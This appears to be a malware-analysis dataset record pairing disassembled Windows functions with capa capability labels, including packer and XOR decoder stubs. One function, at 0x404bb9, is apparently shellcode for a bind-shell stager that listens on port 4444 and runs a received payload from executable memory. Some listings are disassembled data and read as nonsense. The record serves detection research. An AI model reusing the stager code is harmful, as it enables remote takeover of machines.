joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401550
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x401c18
call fcn.004018fb
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_GetStartupInfoW]
cmp dword [0x403390], ebx
jne 0x4012eb
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.KERNEL32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], ebx
mov edi, 0x403384
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x401325
cmp eax, esi
jne 0x401318
xor esi, esi
inc esi
mov dword [ebp - 0x24], esi
jmp 0x401328
push 0x3e8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4012ff
xor esi, esi
inc esi
mov eax, dword [0x403380]
cmp eax, esi
jne 0x40133b
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x401376
mov eax, dword [0x403380]
test eax, eax
jne 0x401370
mov dword [0x403380], esi
push 0x4010e8
push 0x4010dc
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x401376
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x401490
mov dword [0x403038], esi
mov eax, dword [0x403380]
cmp eax, esi
jne 0x40139a
push 0x4010d8
push 0x4010d0
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x403380], 2
cmp dword [ebp - 0x24], ebx
jne 0x4013a7
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_InterlockedExchange]
cmp dword [0x403394], ebx
je 0x4013c8
push 0x403394
call fcn.00401833
pop ecx
test eax, eax
je 0x4013c8
push ebx
push 2
push ebx
call dword [0x403394]
mov eax, dword [sym.imp.MSVCR100.dll__acmdln]
mov esi, dword [eax]
mov dword [ebp - 0x20], esi
mov al, byte [esi]
cmp al, 0x20
ja 0x401421
cmp al, bl
je 0x4013e1
cmp dword [ebp - 0x1c], ebx
jne 0x401421
mov al, byte [esi]
cmp al, bl
je 0x4013f1
cmp al, 0x20
ja 0x4013f1
inc esi
mov dword [ebp - 0x20], esi
jmp 0x4013e1
test byte [ebp - 0x40], 1
je 0x4013fd
movzx eax, word [ebp - 0x3c]
jmp 0x401400
push 0xa
pop eax
push eax
push esi
push ebx
push 0x400000
call main
mov dword [0x403034], eax
cmp dword [0x403028], ebx
jne 0x401476
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp al, 0x22
jne 0x401430
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
movzx eax, al
push eax
call dword [sym.imp.MSVCR100.dll__ismbblead]
pop ecx
test eax, eax
je 0x401443
inc esi
mov dword [ebp - 0x20], esi
inc esi
jmp 0x4013cf
cmp dword [0x403038], ebx
jne 0x401484
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x403034]
call fcn.00401940
ret
call fcn.004011a7
jmp 0x4012bd
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
push 4
nop
nop
nop
nop
nop
nop
pop edi
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e072
nop
nop
mov ebx, 0x407ef8
nop
mov ecx, ebx
nop
nop
nop
nop
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x774c1dac
nop
nop
nop
xor dword [eax], esi
nop
nop
add eax, edi
nop
nop
nop
nop
loop 0x42e060
nop
nop
nop
nop
mov eax, section..data
nop
cmp eax, 0
nop
nop
nop
nop
nop
je 0x42e0d2
nop
nop
mov ebx, 0x42cd70
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
push eax
nop
nop
mov eax, ecx
nop
nop
nop
nop
div edi
nop
nop
nop
nop
nop
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
mov esi, 0x7cbc705f
nop
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
loop 0x42e0c0
nop
nop
nop
nop
nop
nop
popal
nop
nop
nop
jmp 0x401219
Function at 0x42e170
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x1c000]
push edi
or ebp, 0xffffffff
jmp 0x42e192
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x42e199
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x42e188
mov eax, 1
add ebx, ebx
jne 0x42e1ab
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x42e1a0
jne 0x42e1bc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42e1a0
xor ecx, ecx
sub eax, 3
jb 0x42e1d0
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x42e242
mov ebp, eax
add ebx, ebx
jne 0x42e1db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jne 0x42e1e8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jne 0x42e20c
inc ecx
add ebx, ebx
jne 0x42e1f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x42e1ed
jne 0x42e209
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x42e1ed
add ecx, 2
cmp ebp, 0xfffff300
adc ecx, 1
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x42e22c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x42e21d
jmp 0x42e18e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x42e22c
add edi, ecx
jmp 0x42e18e
pop esi
mov edi, esi
mov ecx, 0x866
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x42e24a
cmp byte [edi], 9
jne 0x42e24a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov eax, ebx
loop 0x42e24f
lea edi, [esi + 0x2c000]
mov eax, dword [edi]
or eax, eax
je 0x42e2be
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e068]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e0b8]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x42e27c
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e0bc]
or eax, eax
je 0x42e2b8
mov dword [ebx], eax
add ebx, 4
jmp 0x42e299
call dword [esi + 0x2e0c0]
popal
jmp section.UPX0
Function at 0x403a90
Capabilities:
Encode data using xor

Disassembly:
adc eax, dword [eax]
inc edx
push esi
mov bl, 0x15
test al, 2
dec ecx
add al, ch
dec ecx
arpl di, di
pop eax
add esp, 4
pop edi
lds ebx, [ebx - 0xb]
in eax, 0x5d
int3
push ebp
mov ebp, esp
sub esp, 0x14
push esi
mov edi, dword [edi]
or byte [edi - 0x39], dl
inc esi
or al, 0x8c
sal byte [ebp + 0x22], 0x8b
pop ss
and al, 0x64
add byte [eax], al
rol eax, 1
je 0x403ac4
mov eax, dword [0x4102b4]
mov al, 0xc0
je 0x403c25
dec eax
mov dword [0x4189b4], eax
jmp 0x403c25
cmp dword [0xa41020c], 1
jne 0x403ad7
mov eax, dword [esi + 0x6c8ca310]
inc ecx
add bl, ch
and al, 7
pop es
dec esi
dec edi
ja 0x403a68
add al, byte [ecx]
cmp ecx, eax
je 0x403abf
mov ecx, dword [0xf44171a4]
mov eax, dword [0x4102c0]
inc ecx
inc eax
mov dword [0x702b8], ecx
mov dword [0x419ec0], eax
mov eax, dword [0x29dfac]
mov edx, eax
adc al, dl
inc eax
add byte [ebx], bh
ror dword [edi], 0x8d
pop ss
add dword [eax], eax
add byte [ebx - 0x6af4378e], cl
ror dword [ebx + 0x5ccc1f8], cl
add edi, edx
inc eax
add eax, 0x4102ac
call fcn.00406a00
jnp 0x403b50
or eax, dword [ecx]
mov dword [0x1e41ec35], edx
mov dword [esi + 0x80d], eax
mov ebp, dword [eax - 0x3a]
or eax, dword [ecx]
mov eax, dword [esi + 0x830]
mov dword [esi + 0x854], edx
pop ebp
pop es
mov ecx, dword [esi + 0x834]
mov dword [edi + 4], ecx
mov edi, eax
add byte [ecx - 0x774fbb1], cl
cmp byte [eax], cl
add byte [eax], al
mov eax, dword [esi + 0x830]
mov eax, esi
xor al, 8
xchg esi, eax
add byte [ebx], ch
xchg edx, eax
mov ebx, dword [edi + 0x3c]
or dh, dl
add byte [eax], cl
xchg dword [ebp + 0x7c0a7f8d], eax
or al, byte [ebp + 0x330473c9]
leave
xor eax, eax
mov dword [ecx], edx
adc byte [edi + eax*2], dh
ror byte [ebx - 0x58f7af72], 0
mov ecx, esp
xor byte [eax], cl
add byte [eax], al
mov edx, dword [esi + 0xf30834]
sub ecx, eax
rol dword [esi + 0x854], 1
loope 0x403b62
test dword [edx + 0x47c0a7f], edi
test ecx, ecx
jae 0x403c11
xor ecx, ecx
xor edi, edi
mov eax, ebx
sbb byte [ecx - 0x71d9e3b9], cl
dec eax
or byte [ebp - 0x35], ch
cmc
xchg byte [ebx - 0x74f8fff8], ah
xchg esi, eax
inc esp
push ebp
add byte [eax], al
sub ecx, eax
mov esi, dword [ebp + 0x859]
sbb eax, edx
test ecx, eax
jg 0x403bde
jl 0x403bda
test ecx, ecx
and eax, 0x33c93304
ror byte [ebx], 0x4f
or byte [ecx + 0xd8bb547], cl
adc al, 0xd0
inc eax
add byte [ebp + 0x663774c6], al
cmp eax, 0x6568acac
mov eax, edi
cdq
xor ecx, ecx
xor eax, eax
or ecx, dword [edi + 8]
mov dword [edi - 0x4b], eax
mov ecx, dword [0x40d014]
test esi, eax
je 0x403c25
cmp ax, 0xacac
push 0x99c78b65
idiv ecx
invalid
inc eax
add byte [eax - 0x38], bh
ror byte [ecx], 0x83
adc byte [eax - 0x78], al
call dword [sym.imp.MSVCRT.dll_fflush]
add esp, 0x10
mov eax, dword [0x4117f8]
mov ecx, dword [esi + 4]
lea edx, [ebp - 0x14]
mov dword [ebp - 0x43], 0x230001
push edx
push eax
mov dword [edi + 0x25bfe881], edx
mov byte [eax], al
mov ecx, dword [esi + 4]
fucompi st(0)
invalid
Function at 0x404bb9
Capabilities:
Encode data using xor

Disassembly:
pop ebp
push 0x3233
push 0x5f327377
push esp
push 0x726774c
call ebp
mov eax, 0x190
sub esp, eax
push esp
push eax
push 0x6b8029
call ebp
push 0xb
pop ecx
push eax
loop 0x404bdf
push 1
push 2
push 0xe0df0fea
call ebp
xchg edi, eax
push 0x5c110002
mov esi, esp
push 0x10
push esi
push edi
push 0x6737dbc2
call ebp
test eax, eax
jne 0x404c60
push edi
push 0xff38e9b7
call ebp
push edi
push 0xe13bec74
call ebp
push edi
xchg edi, eax
push 0x614d6e75
call ebp
push 0
push 4
push esi
push edi
push 0x5fc8d902
call ebp
cmp eax, 0
jle 0x404c60
mov esi, dword [esi]
push 0x40
push 0x1000
push esi
push 0
push 0xe553a458
call ebp
xchg ebx, eax
push ebx
push 0
push esi
push ebx
push edi
push 0x5fc8d902
call ebp
cmp eax, 0
jle 0x404c60
add ebx, eax
sub esi, eax
jne 0x404c48
ret
mov ebx, 0x56a2b5f0
push 0
push ebx
call ebp
dec edx
sub al, 0x8b
dec esi
adc al, 0x8b
invalid

Function at 0x40a3d0
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
imul eax, dword [ebp + 8], 0xffffff8b
inc eax
adc al, 0xe9
sal byte [ebx + esi - 0x75], 0x5d
or al, 0x51
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
jbe 0x40a398
jne 0x40a40a
push esi
jmp 0x40a424
xor eax, eax
pop ebp
ret 0xb008
nop
nop
lcall 0x9090, 0x90369090
nop
rcl byte [eax - 0x7c1374ab], cl
cmp eax, 0x5f41082d
adc al, 0x7c
and ebp, dword [eax + 0x28]
pop es
inc ecx
add bh, bh
adc eax, sym.imp.KERNEL32.dll_InitializeCriticalSection
mov eax, ecx
or byte [eax + 0x20], ch
push edi
inc eax
add byte [eax + 0x70], ch
movsb byte es:[edi], byte [esi]
inc eax
scasd eax, dword es:[edi]
shr dword [eax], 7
inc ecx
add byte [eax - 0x18], dl
mov eax, dword [0x33ffffb1]
Function at 0x40107d
Capabilities:
Create thread

Disassembly:
jmp 0x442020
push ecx
push 8
call fcn.0040166d
mov ecx, dword [esp + 0xc]
mov edx, dword [esp + 0x10]
add esp, 4
mov dword [eax + 4], ecx
lea ecx, [esp]
push ecx
push 0
push eax
mov dword [eax], edx
mov edx, dword [0x4a8994]
push 0x401a6e
push edx
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop ecx
ret

Function at 0x40108c
Capabilities:
Get common file path
Set current directory
Set environment variable

Disassembly:
jmp 0x442c30
cmp dword [0x489fd0], 2
mov ecx, dword [esp + 4]
mov eax, ecx
je 0x442c54
cmp byte [ecx], 0
je 0x442c54
cmp byte [eax], 0x2f
jne 0x442c4c
mov byte [eax], 0x5c
add eax, 1
cmp byte [eax], 0
jne 0x442c44
mov dword [esp + 4], ecx
jmp 0x45096e
push ebp
lea ebp, [esp - 0x98]
sub esp, 0x118
mov eax, dword [0x487180]
xor eax, ebp
mov dword [ebp + 0x94], eax
mov eax, dword [ebp + 0xa0]
or dword [ebp - 0x7c], 0xffffffff
push ebx
xor ebx, ebx
cmp eax, ebx
push esi
lea esi, [ebp - 0x74]
mov dword [ebp - 0x80], ebx
jne 0x4509c8
call fcn.0044ad54
mov dword [eax], ebx
call fcn.0044ad41
push ebx
push ebx
push ebx
push ebx
push ebx
mov dword [eax], 0x16
call fcn.00450931
add esp, 0x14
or eax, 0xffffffff
jmp 0x450a7a
push edi
push eax
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
test eax, eax
je 0x450a5d
lea eax, [ebp - 0x74]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, eax
cmp edi, 0x104
jle 0x450a1b
lea ebx, [edi + 1]
push 1
push ebx
call fcn.00451839
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x450a5b
test edi, edi
mov dword [ebp - 0x80], 1
je 0x450a5b
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov edi, eax
xor ebx, ebx
cmp edi, ebx
je 0x450a5d
mov al, byte [esi]
cmp al, 0x5c
je 0x450a29
cmp al, 0x2f
jne 0x450a2e
cmp al, byte [esi + 1]
je 0x450a56
mov byte [ebp - 0x78], 0x3d
movzx eax, byte [esi]
push eax
call fcn.0045dd2c
pop ecx
mov byte [ebp - 0x77], al
push esi
lea eax, [ebp - 0x78]
push eax
mov byte [ebp - 0x76], 0x3a
mov byte [ebp - 0x75], 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
test eax, eax
je 0x450a5d
mov dword [ebp - 0x7c], ebx
jmp 0x450a6a
xor ebx, ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
call fcn.0044ad67
pop ecx
cmp dword [ebp - 0x80], ebx
pop edi
je 0x450a77
push esi
call fcn.00450ce8
pop ecx
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp + 0x94]
pop esi
xor ecx, ebp
pop ebx
call fcn.0044b8bd
add ebp, 0x98
leave
ret
Function at 0x401096
Capabilities:
Create thread

Disassembly:
jmp 0x441d60
sub esp, 0x10
mov eax, dword [0x4a8958]
test eax, eax
mov dword [esp + 4], 0xc
mov dword [esp + 8], 0
mov dword [esp + 0xc], 1
jne 0x441d97
push eax
push eax
push eax
lea eax, [esp + 0x10]
push eax
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x4a8958], eax
cmp dword [0x4a895c], 0
je 0x441da7
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push esi
mov esi, dword [esp + 0x18]
test esi, esi
jne 0x441dbd
mov dword [0x4a895c], esi
xor eax, eax
pop esi
add esp, 0x10
ret
mov edx, dword [0x4a8994]
lea ecx, [esp + 4]
push ecx
push 0
push esi
push 0x401893
push edx
push 0
mov dword [0x4a895c], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
test eax, eax
je 0x441dee
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [0x4a8960]
imul esi, esi, 0x3e8
mov dword [0x4a8960], esi
pop esi
add esp, 0x10
ret

Function at 0x40111d
Capabilities:
Manipulate console buffer

Disassembly:
jmp 0x44a2b0
jmp 0x4445f0
mov eax, dword [0x489fac]
sub esp, 0x20
cmp eax, 0xffffffff
je 0x44464a
lea ecx, [esp + 8]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfo]
test eax, eax
je 0x44464a
mov edx, dword [esp + 0x16]
sub edx, dword [esp + 0x12]
mov ax, word [esp + 0x14]
mov cx, word [esp + 0x18]
add edx, 1
mov word [esp + 4], dx
lea edx, [esp]
push edx
mov word [esp + 6], ax
mov eax, dword [0x489fac]
push 1
push eax
mov word [esp + 0xc], 0
mov word [esp + 0x12], cx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
add esp, 0x20
ret
push ebx
mov ebx, dword [esp + 0xc]
test ebx, ebx
jle 0x44a375
cmp ebx, dword [0x488ddc]
jg 0x44a375
push esi
push edi
mov edi, dword [esp + 0x10]
nop
movzx eax, word [edi]
test eax, 0x800
movsx eax, ax
je 0x44a310
mov ecx, dword [0x496b10]
and eax, 0xfffff7ff
lea esi, [ecx + eax*8]
movzx eax, word [esi]
add edi, 2
test ax, ax
je 0x44a31c
movsx edx, ax
push edx
call fcn.0040125d
movzx eax, word [esi + 2]
add esi, 2
add esp, 4
test ax, ax
jne 0x44a2f6
jmp 0x44a31c
push eax
call fcn.0040125d
add esp, 4
add edi, 2
add dword [0x4891fc], 1
sub ebx, 1
jne 0x44a2d0
mov eax, dword [0x4891fc]
cmp eax, dword [0x488ddc]
pop edi
pop esi
jl 0x44a34a
add dword [0x488b58], 1
mov dword [0x4891fc], ebx
pop ebx
jmp 0x40122b
mov ecx, dword [0x4891fc]
cmp ecx, dword [0x489f64]
jl 0x44a375
call fcn.00401398
pop ebx
mov dword [esp + 8], 0
mov edx, dword [0x4891fc]
mov dword [esp + 4], edx
jmp fcn.00401adc
pop ebx
ret
Function at 0x401249
Capabilities:
Query or enumerate registry value

Disassembly:
jmp 0x4464f0
sub esp, 0xc
push ebx
mov ebx, dword [esp + 0x14]
push 0x3a
push ebx
call fcn.0044b8e0
mov ecx, eax
sub ecx, ebx
add esp, 8
test eax, eax
mov dword [esp + 4], ecx
je 0x4465e6
cmp ecx, 1
jbe 0x4465e6
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
add ecx, 2
push ecx
push 8
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
mov eax, dword [esp + 0xc]
push ebx
add eax, 2
push eax
push esi
call fcn.0046ecda
mov ecx, dword [esp + 0xc]
lea edx, [esp + 0x10]
push edx
push 0x20019
push 0
push esi
push 0x80000000
mov byte [esi + ecx], 0
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
push esi
push 0
je 0x44657d
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
call edi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
lea eax, [esp + 0xc]
push eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x20]
push ecx
lea edx, [esp + 0x1c]
push edx
push 0
push str.URL_Protocol
push eax
mov dword [esp + 0x2c], 1
mov dword [esp + 0x24], 2
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
je 0x4465cf
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
xor eax, eax
pop ebx
add esp, 0xc
ret
mov edx, dword [esp + 0x10]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0xc
ret
xor eax, eax
pop ebx
add esp, 0xc
ret

Function at 0x4012a8
Capabilities:
Create pipe
Create thread

Disassembly:
jmp 0x449720
sub esp, 0x18
cmp dword [0x4a8f04], 0
je 0x449733
or eax, 0xffffffff
add esp, 0x18
ret
push 0
lea eax, [esp + 0x10]
push eax
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x1c], 0xc
mov dword [esp + 0x20], 0
mov dword [esp + 0x24], 0
call dword [sym.imp.KERNEL32.dll_CreatePipe]
test eax, eax
jne 0x44976b
call fcn.0044c3fb
mov ecx, dword [esp]
mov edx, dword [0x4a8994]
lea eax, [esp + 8]
push eax
push 0
push ecx
push 0x401884
push edx
push 0
mov dword [0x4a8f04], 1
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x489f68], eax
mov eax, dword [esp + 4]
add esp, 0x18
ret

Function at 0x4012b2
Capabilities:
Get session user name

Disassembly:
jmp 0x4440c0
sub esp, 0xc
cmp dword [0x4891d4], 0
mov dword [esp + 4], 0x14
mov dword [esp + 8], 0
jne 0x444155
lea eax, [esp + 4]
push eax
push 0x4891c0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push str.HOME
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
call fcn.0044b365
add esp, 0xc
test eax, eax
jne 0x444130
mov eax, dword [esp]
push eax
push 0x105
push 0x4890b8
call fcn.0046ecda
mov ecx, dword [esp]
push ecx
mov dword [0x4891e8], 0x4890b8
call fcn.00450ce8
add esp, 4
mov edx, dword [str.tcsh]
mov eax, 0x4a8c0c
mov dword [0x4891d4], 0x4891c0
mov dword [0x4891ec], edx
mov dword [0x4891e4], eax
mov dword [0x4891d8], eax
mov eax, 0x4891d4
add esp, 0xc
ret
Function at 0x4012c1
Capabilities:
Get session user name

Disassembly:
jmp 0x443fe0
sub esp, 0xc
cmp dword [0x4891d4], 0
mov dword [esp + 4], 0x14
mov dword [esp + 8], 0
jne 0x444075
lea eax, [esp + 4]
push eax
push 0x4891c0
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
push str.HOME
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 8]
push edx
call fcn.0044b365
add esp, 0xc
test eax, eax
jne 0x444050
mov eax, dword [esp]
push eax
push 0x105
push 0x4890b8
call fcn.0046ecda
mov ecx, dword [esp]
push ecx
mov dword [0x4891e8], 0x4890b8
call fcn.00450ce8
add esp, 4
mov edx, dword [str.tcsh]
mov eax, 0x4a8c0c
mov dword [0x4891d4], 0x4891c0
mov dword [0x4891ec], edx
mov dword [0x4891e4], eax
mov dword [0x4891d8], eax
mov eax, dword [esp + 0x10]
push eax
push 0x4891c0
call fcn.0044ecc5
neg eax
sbb eax, eax
not eax
and eax, 0x4891d4
add esp, 0x14
ret
Function at 0x401339
Capabilities:
Get system information on windows
Terminate process

Disassembly:
jmp 0x442850
sub esp, 0x1bc
mov eax, dword [0x487180]
xor eax, esp
mov dword [esp + 0x1b8], eax
push 0x94
lea eax, [esp + 0x28]
push 0
push eax
call fcn.0044d2e0
xor eax, eax
push str.Microsoft
mov dword [esp + 0x10], eax
mov dword [esp + 0x14], eax
mov dword [esp + 0x18], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov dword [esp + 0x28], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x30], eax
call fcn.00401429
push eax
push 0x4a732c
call fcn.00401a3c
add esp, 0x18
lea ecx, [esp + 0x24]
push ecx
mov dword [esp + 0x28], 0x94
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4428e8
push 0x10
push str.tcsh
push str.GetVersionEx_failed_in_getmachine
push eax
call dword [sym.imp.USER32.dll_MessageBoxA]
push 0xff
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
lea edx, [esp + 4]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov eax, dword [esp + 0x38]
cmp eax, 2
jne 0x44295b
cmp byte [esp + 0x3c], 0
mov esi, str.WindowsNT
lea eax, [esp + 0x3c]
jne 0x442912
mov eax, 0x47bce9
mov ecx, dword [esp + 0x30]
mov edx, dword [esp + 0x2c]
push eax
mov eax, dword [esp + 0x38]
push eax
push ecx
push edx
push str.Windows_NT
push str._s__d._d_Build__d___s_
lea eax, [esp + 0xd4]
push 0x100
push eax
call fcn.0046f0bd
lea ecx, [esp + 0xdc]
push ecx
call fcn.00401429
push eax
push 0x4a7318
call fcn.00401a3c
add esp, 0x2c
jmp 0x4429c2
cmp eax, 1
jne 0x4429a9
movzx edx, word [esp + 0x34]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x2c]
push edx
push eax
push ecx
push str.Win9x__d._d:_d
lea edx, [esp + 0xcc]
push 0x100
push edx
mov esi, str.Windows9x
call fcn.0046f0bd
lea eax, [esp + 0xd4]
push eax
call fcn.00401429
push eax
push 0x4a7318
call fcn.00401a3c
add esp, 0x24
jmp 0x4429c2
push 0x10
push str.tcsh
push str.Unknown_platform
push 0
mov esi, str.WindowsWhoKnows
call dword [sym.imp.USER32.dll_MessageBoxA]
push esi
call fcn.00401429
push eax
push 0x4a7350
call fcn.00401a3c
movzx eax, word [esp + 0x10]
add esp, 0xc
cmp eax, 9
pop esi
ja case.0x4429e5.4
jmp dword [eax*4 + 0x442ab4]
mov ax, word [esp + 0x20]
cmp ax, 3
jb 0x4429fd
cmp ax, 9
jbe 0x442a06
mov ax, 3
mov word [esp + 0x20], ax
movzx ecx, ax
push ecx
push str.i_d86
lea edx, [esp + 0xc0]
push 0x100
push edx
call fcn.0046f0bd
add esp, 0x10
jmp 0x442a83
push str.Alpha
push 0x100
lea eax, [esp + 0xc0]
push eax
jmp 0x442a7b
push str.Mips
jmp 0x442a6e
push 0x482124
push 0x100
lea edx, [esp + 0xc0]
push edx
jmp 0x442a7b
push str.AMD64
push 0x100
lea eax, [esp + 0xc0]
push eax
jmp 0x442a7b
push str.Unknown
push 0x100
lea ecx, [esp + 0xc0]
push ecx
call fcn.0046f0bd
add esp, 0xc
lea edx, [esp + 0xb8]
push edx
call fcn.00401429
push eax
push 0x4a733c
call fcn.00401a3c
mov ecx, dword [esp + 0x1c4]
add esp, 0xc
xor ecx, esp
call fcn.0044b8bd
add esp, 0x1bc
ret